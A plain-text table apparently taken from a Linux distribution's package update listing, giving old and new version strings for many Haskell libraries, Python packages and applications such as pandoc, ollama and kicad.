                      haskell-either             5.0.3-79             5.0.3-80
                  haskell-enummapset          0.7.3.0-139          0.7.3.0-141
                   haskell-esqueleto           3.5.11.0-8           3.5.11.1-4
                  haskell-fdo-notify            0.3.1-922            0.3.1-925
                        haskell-feed          1.3.2.1-330          1.3.2.1-332
                    haskell-floskell           0.10.8-189           0.10.8-191
                       haskell-focus          1.0.3.2-186          1.0.3.2-188
                       haskell-foldl            1.4.18-93            1.4.18-94
                    haskell-fourmolu           0.13.1.0-5           0.14.0.0-2
                        haskell-free              5.2-124              5.2-125
                    haskell-fsnotify           0.4.4.0-40           0.4.4.0-42
                haskell-generic-data           1.1.0.2-66           1.1.0.2-68
                haskell-generic-lens          2.2.2.0-200          2.2.2.0-202
                   haskell-ghc-check          0.5.0.8-150          0.5.0.8-151
              haskell-ghc-exactprint            1.7.1.0-9           1.7.1.0-10
                      haskell-ghcide           2.2.0.0-16            2.3.0.0-5
           haskell-ghcide-test-utils          1.9.0.0-292          1.9.0.0-299
                          haskell-gi           0.26.16-10           0.26.16-12
                      haskell-gi-atk            2.0.28-38            2.0.28-40
                    haskell-gi-cairo            1.0.30-31            1.0.30-33
          haskell-gi-cairo-connector            0.1.1-313            0.1.1-315
                 haskell-gi-dbusmenu            0.4.14-33            0.4.14-35
             haskell-gi-dbusmenugtk3           0.4.15-130           0.4.15-132
                haskell-gi-freetype2             2.0.5-41             2.0.5-43
                      haskell-gi-gdk            4.0.9-106            4.0.9-108
                     haskell-gi-gdk3            3.0.29-30            3.0.29-32
                  haskell-gi-gdk3x11             3.0.15-6             3.0.16-1
                haskell-gi-gdkpixbuf           2.0.32-142           2.0.32-144
                   haskell-gi-gdkx11            4.0.8-129            4.0.8-131
                      haskell-gi-gio            2.0.38-25            2.0.38-27
                     haskell-gi-glib            2.0.30-59            2.0.30-61
                  haskell-gi-gmodule             2.0.6-43             2.0.6-45
                  haskell-gi-gobject            2.0.31-75            2.0.31-77
                 haskell-gi-graphene             1.0.8-68             1.0.8-70
                      haskell-gi-gsk             4.0.8-55             4.0.8-57
                      haskell-gi-gtk            4.0.11-32            4.0.11-34
                   haskell-gi-gtk-hs           0.3.17-101           0.3.17-103
                     haskell-gi-gtk3            3.0.43-13            3.0.43-15
                 haskell-gi-harfbuzz           0.0.10-147           0.0.10-149
                    haskell-gi-pango            1.0.30-36            1.0.30-38
                     haskell-gi-xlib            2.0.14-93            2.0.14-95
                     haskell-git-lfs             1.2.5-78             1.2.5-81
                     haskell-githash          0.1.6.3-345          0.1.6.3-348
                haskell-gtk-sni-tray          0.1.8.1-394          0.1.8.1-397
                   haskell-gtk-strut          0.1.3.2-348          0.1.3.2-350
                  haskell-hackage-db            2.1.3-191            2.1.3-193
            haskell-hackage-security           0.6.3.2-13           0.6.3.2-15
             haskell-haddock-library           1.11.0-184           1.11.0-188
                     haskell-hadrian     0.1.0.0+9.6.6-16     0.1.0.0+9.6.6-19
                      haskell-hakyll          4.16.4.0-25          4.16.4.0-31
            haskell-happstack-server             7.9.3-24             7.9.3-25
                       haskell-hasql          1.5.0.5-114            1.6.1.1-2
    haskell-hasql-dynamic-statements          0.3.1.1-280            0.3.1.2-2
             haskell-hasql-implicits          0.1.0.5-316          0.1.0.5-320
         haskell-hasql-notifications           0.2.0.5-89           0.2.0.5-93
                  haskell-hasql-pool          0.5.2.2-399            0.8.0.2-2
           haskell-hasql-transaction          1.0.1.1-421            1.0.1.2-2
            haskell-hedgehog-classes          0.2.5.4-216          0.2.5.4-218
                        haskell-here           1.2.14-135           1.2.14-136
                    haskell-hie-bios           0.12.0-159           0.12.0-161
                 haskell-hledger-lib               1.52-6               1.52-8
haskell-hls-alternate-number-format-plugin     2.2.0.0-16            2.3.0.0-5
        haskell-hls-cabal-fmt-plugin           2.2.0.0-16            2.3.0.0-5
            haskell-hls-cabal-plugin           2.2.0.0-16            2.3.0.0-5
   haskell-hls-call-hierarchy-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-change-type-signature-plugin       2.2.0.0-16            2.3.0.0-5
            haskell-hls-class-plugin           2.2.0.0-16            2.3.0.0-5
       haskell-hls-code-range-plugin           2.2.0.0-16            2.3.0.0-5
             haskell-hls-eval-plugin           2.2.0.0-16            2.3.0.0-5
  haskell-hls-explicit-fixity-plugin           2.2.0.0-16            2.3.0.0-5
 haskell-hls-explicit-imports-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-explicit-record-fields-plugin      2.2.0.0-16            2.3.0.0-5
         haskell-hls-floskell-plugin           2.2.0.0-16            2.3.0.0-5
         haskell-hls-fourmolu-plugin           2.2.0.0-17            2.3.0.0-5
             haskell-hls-gadt-plugin           2.2.0.0-17            2.3.0.0-5
                   haskell-hls-graph           2.2.0.0-12            2.3.0.0-4
            haskell-hls-hlint-plugin           2.2.0.0-16            2.3.0.0-5
      haskell-hls-module-name-plugin           2.2.0.0-16            2.3.0.0-5
           haskell-hls-ormolu-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-overloaded-record-dot-plugin       2.2.0.0-16            2.3.0.0-5
              haskell-hls-plugin-api           2.2.0.0-15            2.3.0.0-4
          haskell-hls-pragmas-plugin           2.2.0.0-16            2.3.0.0-5
haskell-hls-qualify-imported-names-plugin      2.2.0.0-16            2.3.0.0-5
         haskell-hls-refactor-plugin           2.2.0.0-17            2.3.0.0-5
           haskell-hls-rename-plugin           2.2.0.0-17            2.3.0.0-5
           haskell-hls-retrie-plugin           2.2.0.0-17            2.3.0.0-5
           haskell-hls-splice-plugin           2.2.0.0-17            2.3.0.0-5
  haskell-hls-stylish-haskell-plugin           2.2.0.0-16            2.3.0.0-5
              haskell-hls-test-utils           2.2.0.0-16            2.3.0.0-5
                     haskell-hoauth2            2.14.0-16            2.14.0-19
                    haskell-hopenpgp           2.10.1-121           2.10.1-124
                       haskell-hpack            0.38.0-21            0.38.0-24
                       haskell-hslua            2.3.0-203            2.3.0-206
                 haskell-hslua-aeson           2.3.1.1-51           2.3.1.1-54
               haskell-hslua-classes             2.3.1-30             2.3.1-31
                  haskell-hslua-core             2.3.2-34             2.3.2-35
                  haskell-hslua-list             1.1.4-29             1.1.4-30
           haskell-hslua-marshalling            2.3.1-141            2.3.1-142
      haskell-hslua-module-doclayout             1.2.0-11             1.2.0-14
           haskell-hslua-module-path            1.1.1-105            1.1.1-108
         haskell-hslua-module-system             1.1.2-54             1.1.2-55
           haskell-hslua-module-text          1.1.0.1-168          1.1.0.1-169
        haskell-hslua-module-version            1.1.1-147            1.1.1-150
            haskell-hslua-module-zip             1.1.3-47             1.1.3-48
     haskell-hslua-objectorientation             2.3.1-49             2.3.1-50
             haskell-hslua-packaging            2.3.1-151            2.3.1-152
                  haskell-hslua-repl            0.1.2-147            0.1.2-148
                haskell-hslua-typing            0.1.1-143            0.1.1-144
                   haskell-hspec-wai           0.11.1-639           0.11.1-642
              haskell-hspec-wai-json           0.11.0-710           0.11.0-713
                haskell-hsyaml-aeson           0.2.0.2-58           0.2.0.2-60
                         haskell-htf          0.15.0.2-68          0.15.0.2-70
                haskell-html-conduit          1.3.2.2-388          1.3.2.2-390
                        haskell-http         4000.4.1-398         4000.4.1-401
                 haskell-http-client            0.7.19-58            0.7.19-60
      haskell-http-client-restricted            0.1.0-198            0.1.0-201
             haskell-http-client-tls          0.3.6.4-137          0.3.6.4-140
                haskell-http-conduit          2.3.9.1-197          2.3.9.1-200
               haskell-http-download          0.2.1.0-327          0.2.1.0-330
                haskell-http-streams          0.8.9.9-292          0.8.9.9-295
                       haskell-http2             5.1.0-17             5.1.0-19
                       haskell-http3             0.0.9-21             0.0.9-23
                  haskell-httpd-shed          0.4.1.2-108          0.4.1.2-109
               haskell-hw-fingertree          0.1.2.1-194          0.1.2.1-196
           haskell-hw-hspec-hedgehog          0.1.1.1-213          0.1.1.1-215
                     haskell-hw-prim          0.6.3.2-213          0.6.3.2-215
                         haskell-hxt         9.3.1.22-234         9.3.1.22-235
                haskell-implicit-hie           0.1.4.0-78           0.1.4.0-80
         haskell-implicit-hie-cradle          0.5.0.1-192          0.5.0.1-194
          haskell-incremental-parser            0.5.1-166            0.5.1-167
   haskell-insert-ordered-containers          0.2.5.3-200          0.2.5.3-203
                 haskell-interpolate            0.2.1-468            0.2.1-469
    haskell-interpolatedstring-perl6            1.0.2-405            1.0.2-406
                   haskell-invariant             0.6.4-94             0.6.4-95
                       haskell-ipynb              0.2-283              0.2-285
              haskell-ipython-kernel           0.12.0.0-8          0.12.0.0-10
           haskell-isomorphism-class             0.1.1-92             0.1.1-94
                 haskell-ixset-typed          0.5.1.0-314          0.5.1.0-316
                        haskell-jose             0.10-256             0.10-259
                   haskell-js-jquery            3.7.1-107            3.7.1-110
              haskell-kan-extensions             5.2.7-85             5.2.7-87
                        haskell-keys             3.12.5-5             3.12.5-6
                    haskell-kvitable            1.1.1.1-7           1.1.1.1-10
           haskell-lambdabot-trusted          5.3.1.2-244          5.3.1.2-247
                  haskell-lambdahack         0.11.0.1-190         0.11.0.1-193
             haskell-language-server           2.2.0.0-19            2.3.0.0-5
                    haskell-lattices             2.2.1-96             2.2.1-97
                        haskell-lens              5.3.4-1              5.3.4-3
                 haskell-lens-action            0.2.6-329            0.2.6-331
                  haskell-lens-aeson            1.2.3-202            1.2.3-205
                     haskell-libyaml            0.1.4-161            0.1.4-163
                      haskell-linear            1.23.2-47            1.23.2-49
                      haskell-list-t           1.0.5.7-63           1.0.5.7-65
                    haskell-lrucache           1.2.0.1-26           1.2.0.1-27
                         haskell-lsp           2.2.0.0-10           2.2.0.0-13
                    haskell-lsp-test          0.16.0.0-11          0.16.0.0-14
                   haskell-lsp-types            2.0.2.0-9           2.0.2.0-12
               haskell-lua-arbitrary          1.0.1.1-135            1.0.1.2-1
                  haskell-lumberjack          1.0.3.0-172          1.0.3.0-173
                  haskell-microaeson           0.1.0.3-43           0.1.0.3-45
             haskell-microlens-aeson            2.5.2-151            2.5.2-153
                 haskell-microstache          1.0.2.3-212          1.0.2.3-214
                  haskell-mime-types            0.1.2.0-4            0.1.2.1-1
                       haskell-mmark          0.0.7.6-346          0.0.7.6-348
                         haskell-mod           0.2.1.0-30           0.2.1.0-32
                  haskell-modern-uri          0.3.6.1-147          0.3.6.1-148
              haskell-monad-dijkstra          0.1.1.5-193          0.1.1.5-195
                haskell-monad-logger           0.3.42-113           0.3.42-115
            haskell-mono-traversable         1.0.21.0-135         1.0.21.0-137
  haskell-mono-traversable-instances          0.1.1.0-386          0.1.1.0-389
                    haskell-mustache           2.4.3.1-72           2.4.3.1-76
          haskell-mutable-containers          0.3.4.1-242          0.3.4.1-244
                  haskell-named-text           1.2.2.0-13           1.2.2.0-16
          haskell-neat-interpolation          0.5.1.4-199          0.5.1.4-201
                 haskell-network-uri          2.6.4.2-137          2.6.4.2-138
                        haskell-oeis           0.3.10.2-6           0.3.10.2-9
                   haskell-one-liner              2.1.1-2              2.1.1-3
             haskell-optparse-simple          0.1.1.4-535          0.1.1.4-538
                      haskell-ormolu           0.6.0.0-13           0.6.0.0-15
                       haskell-pager          0.1.1.0-218          0.1.1.0-220
                      haskell-pandoc               3.5-12                3.6-2
           haskell-pandoc-lua-engine             0.3.3-14                0.4-2
          haskell-pandoc-lua-marshal             0.2.9-15              0.3.0-1
               haskell-pandoc-server           0.1.0.10-3           0.1.0.10-9
                haskell-pandoc-types           1.23.1-164           1.23.1-166
                      haskell-pantry           0.8.2.2-32           0.8.2.2-36
         haskell-parameterized-utils           2.1.11.0-9          2.1.11.0-12
                        haskell-path              0.9.6-9             0.9.6-11
                     haskell-path-io            1.8.2-140            1.8.2-142
                  haskell-persistent          2.14.5.2-58          2.14.5.2-61
            haskell-persistent-mysql         2.13.1.5-100         2.13.1.5-103
       haskell-persistent-postgresql          2.13.5.2-24          2.13.5.2-27
               haskell-persistent-qq          2.12.0.7-73          2.12.0.7-76
           haskell-persistent-sqlite          2.13.1.1-66          2.13.1.1-69
             haskell-persistent-test         2.13.1.3-208         2.13.1.3-211
                  haskell-pipes-http            1.0.6-770            1.0.6-773
                     haskell-pointed            5.0.5-125            5.0.5-127
           haskell-postgresql-binary           0.12.5-267           0.12.5-270
           haskell-postgresql-simple          0.6.5.1-112          0.6.5.1-114
        haskell-prettyprinter-interp          0.2.0.0-157          0.2.0.0-158
                   haskell-prim-uniq              0.2-250              0.2-252
            haskell-primitive-extras         0.10.2.2-131         0.10.2.2-134
                 haskell-profunctors             5.6.3-82             5.6.3-83
            haskell-project-template          0.2.1.0-508          0.2.1.0-510
                         haskell-ptr         0.16.8.7-128         0.16.8.7-130
                        haskell-quic             0.1.27-3             0.1.27-5
          haskell-quickcheck-classes          0.6.5.0-342          0.6.5.0-344
                         haskell-ral             0.2.2-54             0.2.2-56
                      haskell-rebase            1.20.2-14            1.20.2-16
                   haskell-recaptcha          0.1.0.4-379          0.1.0.4-382
           haskell-recursion-schemes            5.2.3-141            5.2.3-142
                    haskell-reducers           3.12.5-125           3.12.5-126
                    haskell-refinery          0.4.0.0-317          0.4.0.0-318
                         haskell-req            3.13.4-32            3.13.4-35
                        haskell-rere           0.2.0.2-13           0.2.0.2-15
                    haskell-rerebase            1.20.2-14            1.20.2-16
                      haskell-retrie            1.2.3-159            1.2.3-161
                 haskell-rio-orphans          0.1.2.0-486          0.1.2.0-488
             haskell-rio-prettyprint           0.1.8.0-69           0.1.8.0-71
                   haskell-row-types           1.0.1.2-66           1.0.1.2-68
                    haskell-safecopy          0.10.4.3-57          0.10.4.3-59
                       haskell-sandi              0.5-597              0.5-599
                    haskell-sandwich           0.2.2.0-20           0.2.2.0-22
                      haskell-scotty             0.22-203             0.22-206
                        haskell-sdl2          2.5.5.1-128          2.5.5.1-131
                    haskell-sdl2-ttf            2.1.3-278            2.1.3-281
                   haskell-semialign             1.3.1-58             1.3.1-59
               haskell-semigroupoids              6.0.2-3              6.0.2-4
                   haskell-serialise          0.2.6.1-174          0.2.6.1-176
                     haskell-servant          0.20.3.0-52          0.20.3.0-54
              haskell-servant-client          0.20.3.0-67          0.20.3.0-71
         haskell-servant-client-core          0.20.3.0-52          0.20.3.0-54
              haskell-servant-server          0.20.3.0-67          0.20.3.0-70
             haskell-servant-swagger            1.2.1-153            1.2.1-156
                       haskell-shake           0.19.6-387           0.19.6-390
                 haskell-shakespeare             2.1.7-14            2.1.7.1-2
             haskell-simple-sendfile           0.2.32-196           0.2.32-198
                 haskell-skylighting             0.14.4-3             0.14.4-5
            haskell-skylighting-core             0.14.4-3             0.14.4-5
     haskell-skylighting-format-ansi              0.1-293              0.1-295
haskell-skylighting-format-blaze-html         0.1.1.3-147          0.1.1.3-149
  haskell-skylighting-format-context          0.1.0.2-257          0.1.0.2-259
    haskell-skylighting-format-latex              0.1-292              0.1-294
                   haskell-snap-core          1.0.5.1-210          1.0.5.1-211
                 haskell-snap-server          1.1.2.1-362          1.1.2.1-365
                   haskell-sourcemap            0.1.7-299            0.1.7-301
                    haskell-src-meta            0.8.15-90            0.8.15-91
                  haskell-statistics           0.16.4.0-9          0.16.4.0-11
        haskell-status-notifier-item            0.3.2.0-2            0.3.2.0-5
              haskell-stm-containers          1.2.1.1-160          1.2.1.1-164
                    haskell-stm-hamt          1.2.1.1-132              1.2.2-3
                       haskell-store           0.7.20-137           0.7.20-139
                     haskell-streams            3.3.3-125            3.3.3-127
                 haskell-strict-list          0.1.7.6-132          0.1.7.6-134
          haskell-string-interpolate          0.3.4.0-143          0.3.4.0-144
                  haskell-structured            0.1.1-319            0.1.1-321
                    haskell-summoner            2.1.0.0-2            2.1.0.0-6
                haskell-summoner-tui            2.1.0.0-2            2.1.0.0-6
                    haskell-swagger2            2.8.10-98           2.8.10-101
           haskell-tagstream-conduit            0.5.6-536            0.5.6-538
haskell-tamarin-prover-accountability            1.12.0-6             1.12.0-8
       haskell-tamarin-prover-export             1.12.0-6             1.12.0-8
        haskell-tamarin-prover-sapic             1.12.0-6             1.12.0-8
         haskell-tamarin-prover-term             1.12.0-6             1.12.0-8
       haskell-tamarin-prover-theory             1.12.0-6             1.12.0-8
        haskell-tamarin-prover-utils             1.12.0-6             1.12.0-8
                 haskell-tar-conduit            0.4.1-191            0.4.1-193
             haskell-tasty-checklist           1.0.8.0-10           1.0.8.0-13
                 haskell-tasty-hslua            1.1.1-139            1.1.1-140
                   haskell-tasty-lua           1.1.1.1-72           1.1.1.1-73
                 haskell-tasty-sugar           2.2.2.1-85           2.2.2.1-88
                     haskell-tdigest            0.3.1-150            0.3.1-152
                     haskell-texmath         0.12.8.11-15          0.12.8.12-1
                haskell-text-builder            0.6.7-283            0.6.7-285
            haskell-text-builder-dev          0.3.3.2-244          0.3.3.2-246
                   haskell-th-compat             0.1.6-87              0.1.7-1
                  haskell-th-desugar               1.16-3               1.16-4
                      haskell-th-env            0.1.1-164            0.1.1-165
                  haskell-th-orphans            0.13.17-4            0.13.17-5
                haskell-th-utilities          0.2.5.2-102          0.2.5.2-103
                         haskell-tls             2.0.6-71             2.0.6-73
         haskell-tls-session-manager             0.0.6-21             0.0.6-23
                   haskell-tree-diff          0.3.0.1-229              0.3.1-3
                    haskell-trifecta            2.1.4-174            2.1.4-176
                      haskell-turtle            1.6.2-161            1.6.2-162
                       haskell-typst               0.6-19              0.6.1-1
               haskell-typst-symbols              0.1.6-2              0.1.7-1
        haskell-uri-bytestring-aeson          0.1.0.9-133          0.1.0.9-135
                  haskell-uri-encode          1.5.0.7-319          1.5.0.7-320
                         haskell-vec             0.5.1-52             0.5.1-54
           haskell-vector-algorithms          0.9.1.0-123          0.9.1.0-125
              haskell-vector-builder          0.3.8.6-139          0.3.8.6-141
            haskell-vector-instances             3.4.3-77             3.4.3-79
                haskell-vector-sized            1.6.1-155            1.6.1-157
            haskell-wai-app-file-cgi            3.1.11-20            3.1.11-23
              haskell-wai-app-static            3.1.9-233            3.1.9-236
                 haskell-wai-conduit          3.0.0.4-714          3.0.0.4-716
                   haskell-wai-extra            3.1.18-41            3.1.18-44
          haskell-wai-handler-launch          3.0.3.1-811          3.0.3.1-814
             haskell-wai-http2-extra            0.1.3-376            0.1.3-379
       haskell-wai-middleware-static            0.9.3-192            0.9.3-195
                        haskell-warp             3.4.0-19             3.4.0-22
                   haskell-warp-quic            0.0.0-435            0.0.0-438
                    haskell-warp-tls            3.4.9-191            3.4.9-194
                       haskell-weigh           0.0.18-122           0.0.18-124
                       haskell-what4               1.6-78               1.6-81
                   haskell-wide-word           0.1.8.1-33           0.1.8.1-35
                   haskell-with-utf8          1.1.0.0-131          1.1.0.0-132
            haskell-wl-pprint-extras          3.5.0.5-560          3.5.0.5-561
          haskell-wl-pprint-terminfo          3.7.1.4-560          3.7.1.4-561
                        haskell-wreq            0.5.4.4-3            0.5.4.4-7
                        haskell-wuss           2.0.1.6-31           2.0.1.6-33
                      haskell-xcffib             1.6.1-14             1.6.1-15
           haskell-xdg-desktop-entry            0.1.1.3-2            0.1.1.3-3
                 haskell-xml-conduit          1.9.1.4-150          1.9.1.4-152
                  haskell-xml-hamlet            0.5.0.3-8           0.5.0.3-11
                      haskell-xmlgen          0.6.2.2-191          0.6.2.2-192
                haskell-xss-sanitize          0.3.7.2-131          0.3.7.2-132
                        haskell-yaml        0.11.11.2-205        0.11.11.2-207
                       haskell-yesod          1.6.2.1-460          1.6.2.1-464
                  haskell-yesod-auth         1.6.11.3-282         1.6.11.3-286
                  haskell-yesod-core         1.6.27.1-115         1.6.27.1-119
                  haskell-yesod-form            1.7.9.2-2            1.7.9.2-6
            haskell-yesod-persistent          1.6.0.8-520          1.6.0.8-524
                haskell-yesod-static          1.6.1.0-979          1.6.1.0-983
                  haskell-yesod-test           1.6.23-134           1.6.23-138
                           hedgewars             1.0.3-19             1.0.3-21
                               hefur               1.0-35               1.0-36
                               hepmc              3.3.1-7              3.3.1-8
                          hepmc-docs              3.3.1-7              3.3.1-8
                             hindent              6.1.1-6              6.1.1-8
                               hiprt      3.1.0.cb09c56-2      3.1.0.cb09c56-3
                             hledger               1.52-6              1.52-10
                        hledger-iadd            1.3.22-17            1.3.22-19
                          hledger-ui               1.52-7              1.52-11
                         hledger-web              1.52-10              1.52-14
                               hlint              3.6.1-8             3.6.1-10
                              hoogle         5.0.18.4-265         5.0.18.4-268
                      hopenpgp-tools           0.23.11-40           0.23.11-44
              hsa-amd-aqlprofile-bin              7.1.0-1              7.1.0-2
                           hslua-cli             1.4.3-87             1.4.3-88
                       i3status-rust             0.36.0-1             0.36.1-1
                               iaito              5.9.9-1              6.1.2-1
                      ibus-libpinyin             1.16.0-4             1.16.1-1
                               idris            1.3.4-478            1.3.4-481
                            ihaskell           0.13.0.0-9          0.13.0.0-12
                               incus             6.22.0-1             6.23.0-1
                         incus-tools             6.22.0-1             6.23.0-1
                              jasper              4.2.8-1              4.2.9-1
                          jasper-doc              4.2.8-1              4.2.9-1
                     jellyfin-ffmpeg          1:7.1.3p3-2          1:7.1.3p4-1
                                jolt              1.2.0-2              1.2.0-3
                               kicad             10.0.0-1             10.0.0-2
                          kitinerary            25.12.3-2            25.12.3-3
                              kmonad             0.4.4-89             0.4.4-91
                       kosmindoormap            25.12.3-1            25.12.3-2
                   libedataserverui4             3.58.3-1             3.58.3-2
                               libhx                5.3-1                5.4-1
              libperconaserverclient            8.4.8_8-1            8.4.8_8-2
                      libphonenumber           1:9.0.27-1           1:9.0.27-2
                            libsbsms              2.3.0-5              2.3.0-6
                           libsigrok             0.5.2-25             0.5.2-26
                           libtg_owt    0.git33.26068e2-1    0.git33.26068e2-2
                              libvlc             3.0.22-1             3.0.22-2
                              libvpx             1.16.0-2             1.16.0-3
                      libwireplumber             0.5.13-2             0.5.14-1
                              libwmf             0.2.13-4             0.2.14-1
                              libxdp              1.6.2-1              1.6.3-1
                          lincity-ng             2.14.2-2             2.14.2-3
                           lostfiles               4.14-1               4.15-1
                        lua-luarocks             3.13.0-4             3.13.0-5
                      lua51-luarocks             3.13.0-4             3.13.0-5
                      lua52-luarocks             3.13.0-4             3.13.0-5
                      lua53-luarocks             3.13.0-4             3.13.0-5
                      lua54-luarocks             3.13.0-4             3.13.0-5
                              luajit2.1.1774638290+fbb36bb-12.1.1774896198+18b087c-1
                            luarocks             3.13.0-4             3.13.0-5
                                mako             1.10.0-1             1.11.0-1
                              marble            25.12.3-1            25.12.3-2
                       marble-behaim            25.12.3-1            25.12.3-2
                       marble-common            25.12.3-1            25.12.3-2
                         marble-maps            25.12.3-1            25.12.3-2
                           marble-qt            25.12.3-1            25.12.3-2
                              maxima             5.49.0-7             5.49.0-8
                          maxima-ecl             5.49.0-7             5.49.0-8
                          maxima-fas             5.49.0-7             5.49.0-8
                         maxima-sbcl             5.49.0-7             5.49.0-8
                             melange             0.46.1-1             0.47.0-1
                          merkaartor            0.20.0-20            0.20.0-21
                               mgard              1.6.0-5              1.6.0-6
                           mighttpd2             4.0.4-25             4.0.4-28
                            migraphx              7.2.0-1              7.2.0-2
                           miniupnpd              2.3.9-2             2.3.10-1
                                mise           2026.3.8-1          2026.3.17-1
                               mixxx              2.5.4-2              2.5.4-3
                     mkdocs-material              9.7.5-1              9.7.6-1
                                moor             2.11.1-1             2.12.0-1
                                mosh             1.4.0-28             1.4.0-29
                           mosquitto             2.0.22-2              2.1.2-1
                              mumble            1.5.857-5            1.5.857-6
                       mumble-server            1.5.857-5            1.5.857-6
                              nageru              2.3.2-2              2.3.2-3
                                ncnn           20260113-3           20260113-4
                               ndctl                 82-1                 83-1
                             neovide             0.15.2-2             0.16.0-1
                              neovim             0.11.6-1             0.11.7-1
                             netdata              2.9.0-1              2.9.0-2
               netfilter-fullconenat      r73.0cf3b48-503      r73.0cf3b48-504
                    nextcloud-client           2:33.0.0-1           2:33.0.1-1
                             ngspice               45.2-2                 46-1
                              nickel             1.16.0-2             1.16.0-3
                         nickel-docs             1.16.0-2             1.16.0-3
              nickel-language-server             1.16.0-2             1.16.0-3
                         nodejs-yaml              2.3.1-1              2.3.2-1
                   npm-check-updates             19.5.0-1             19.6.0-1
                                nrpe              4.1.1-1              4.1.2-1
                              nsjail               3.4-22               3.4-23
                              ollama             0.18.3-1             0.19.0-1
                         ollama-cuda             0.18.3-1             0.19.0-1
                         ollama-docs             0.18.3-1             0.19.0-1
                         ollama-rocm             0.18.3-1             0.19.0-1
                       ollama-vulkan             0.18.3-1             0.19.0-1
                                onnx           1:1.20.1-1           1:1.20.1-2
                     onnxruntime-cpu             1.24.4-3             1.24.4-4
                    onnxruntime-cuda             1.24.4-3             1.24.4-4
                onnxruntime-opt-cuda             1.24.4-3             1.24.4-4
                onnxruntime-opt-rocm             1.24.4-3             1.24.4-4
                    onnxruntime-rocm             1.24.4-3             1.24.4-4
                   open-policy-agent             1.15.0-1             1.15.1-1
                            opencode              1.3.3-1              1.3.8-1
                              opencv             4.13.0-3             4.13.0-4
                         opencv-cuda             4.13.0-3             4.13.0-4
                      opencv-samples             4.13.0-3             4.13.0-4
                             openrgb             1.0rc2-5             1.0rc2-6
                          pandoc-cli               3.5-18                3.6-2
                     pandoc-crossref           0.3.19-182           0.3.19-188
                         pandoc-plot            1.9.1-256            1.9.1-263
                         pandora_box             0.20.0-1             0.20.1-1
                            paraview             6.0.1-10             6.0.1-11
                            pd-sfizz             1.2.3-12             1.2.3-13
                      percona-server            8.4.8_8-1            8.4.8_8-2
              percona-server-clients            8.4.8_8-1            8.4.8_8-2
             perl-business-isbn-data       20260325.001-1       20260328.001-1
                         perl-libwww               6.81-2               6.82-1
                     perl-xml-parser               2.48-1               2.49-1
                            php-grpc             1.78.1-2             1.80.0-1
                     php-legacy-grpc             1.78.1-2             1.80.0-1
                     platformio-core             6.1.19-1             6.1.19-3
                platformio-core-udev             6.1.19-1             6.1.19-3
                      podman-desktop             1.25.1-1             1.26.2-1
                           postgrest           10.0.0-532             10.1.0-2
                            protobuf               33.1-4               34.1-1
                          protobuf-c              1.5.2-8              1.5.2-9
                      proton-vpn-cli              0.1.7-1              0.1.8-1
                  proton-vpn-gtk-app             4.15.0-1             4.15.1-1
                   protonmail-bridge             3.23.1-1             3.23.1-2
              protonmail-bridge-core             3.23.1-1             3.23.1-2
                        prusa-slicer              2.9.4-7              2.9.4-8
                           pt2-clone               1.85-1               1.87-1
                     python-cairosvg              2.8.2-1              2.9.0-1
                 python-cinderclient              9.7.0-1              9.8.0-1
                   python-cloudflare             2.15.1-1             2.16.0-1
               python-configargparse              1.7.3-1              1.7.4-1
                    python-curl_cffi             0.14.0-6             0.14.0-7
                     python-deepdiff              8.1.1-1              8.2.0-1
                     python-eth-hash              0.7.1-1              0.8.0-1
                        python-faker             40.9.0-1            40.10.0-1
                  python-fastnumbers              5.1.1-2              5.1.1-3
                     python-flasgger            0.9.7.1-7                    -
                python-flask-restful             0.3.10-6                    -
                        python-gdstk             0.9.46-1             0.9.47-1
     python-googleapis-common-protos             1.73.0-1             1.73.1-1
                       python-grpcio             1.78.1-2             1.80.0-1
                 python-grpcio-tools             1.78.1-2             1.80.0-1
                     python-identify             2.6.17-1             2.6.18-2
           python-importlib-metadata              8.7.1-3              9.0.0-1
                  python-json-logger              4.0.0-1              4.1.0-1
                         python-lmdb              2.1.1-1              2.2.0-1
                      python-mockito              2.0.0-1              2.0.1-1
                     python-narwhals             2.18.0-1             2.18.1-1
                        python-numpy              2.4.3-1              2.4.4-1
                         python-onnx           1:1.20.1-1           1:1.20.1-2
              python-onnxruntime-cpu             1.24.4-3             1.24.4-4
             python-onnxruntime-cuda             1.24.4-3             1.24.4-4
         python-onnxruntime-opt-cuda             1.24.4-3             1.24.4-4
         python-onnxruntime-opt-rocm             1.24.4-3             1.24.4-4
             python-onnxruntime-rocm             1.24.4-3             1.24.4-4
                       python-opencv             4.13.0-3             4.13.0-4
                  python-opencv-cuda             4.13.0-3             4.13.0-4
              python-openstackclient              8.0.0-1              8.1.0-1
                 python-openstacksdk              4.4.0-2              4.5.0-1
                       python-orjson             3.11.7-1             3.11.7-2
                    python-oslo-i18n              6.7.1-1              6.7.2-1
                      python-plexapi             4.18.0-1             4.18.1-1
                      python-protego              0.4.0-1              0.5.0-1
                     python-protobuf               33.1-4               34.1-1
          python-proton-vpn-api-core             4.16.0-1             4.17.2-1
                 python-pychromecast             14.0.9-4            14.0.10-1
                python-pydantic-core           3:2.41.5-3           3:2.41.5-4
                       python-pygit2             1.19.1-2             1.19.2-1
                     python-pypandoc             1.16.2-1               1.17-1
                     python-pypubsub             4.0.3-11              4.0.4-1
                       python-pysdl3           0.9.10b0-1           0.9.11b0-1
                      python-pytorch             2.10.0-3             2.10.0-4
                 python-pytorch-cuda             2.10.0-3             2.10.0-4
                  python-pytorch-opt             2.10.0-3             2.10.0-4
             python-pytorch-opt-cuda             2.10.0-3             2.10.0-4
             python-pytorch-opt-rocm             2.10.0-3             2.10.0-4
                 python-pytorch-rocm             2.10.0-3             2.10.0-4
                        python-regex          2026.2.28-1          2026.3.32-1
                     python-requests             2.32.5-4             2.33.1-1
              python-setuptools-rust             1.12.0-3             1.12.1-1
                        python-sybil              6.1.1-2              7.0.0-1
                    python-testtools              2.8.3-2              2.8.4-1
                      python-textual              8.1.1-1              8.2.1-1
                        python-tomli              2.4.0-1              2.4.1-1
                          python-tox             4.32.0-1             4.33.0-1
                       python-triton              3.5.1-3              3.5.1-4
                        python-urwid              3.0.5-1              4.0.0-1
                   python-validators             0.30.0-1             0.31.0-1
                        python-w3lib              2.3.0-2              2.3.1-1
                     python-werkzeug              3.1.5-1              3.1.6-1
                    python-z3-solver             4.15.4-2             4.16.0-1
                                qgis              4.0.0-1              4.0.0-2
                            qt6-grpc             6.11.0-1             6.11.0-2
                          quickshell              0.2.1-5              0.2.1-6
                           qwen-code             0.13.1-1             0.13.2-1
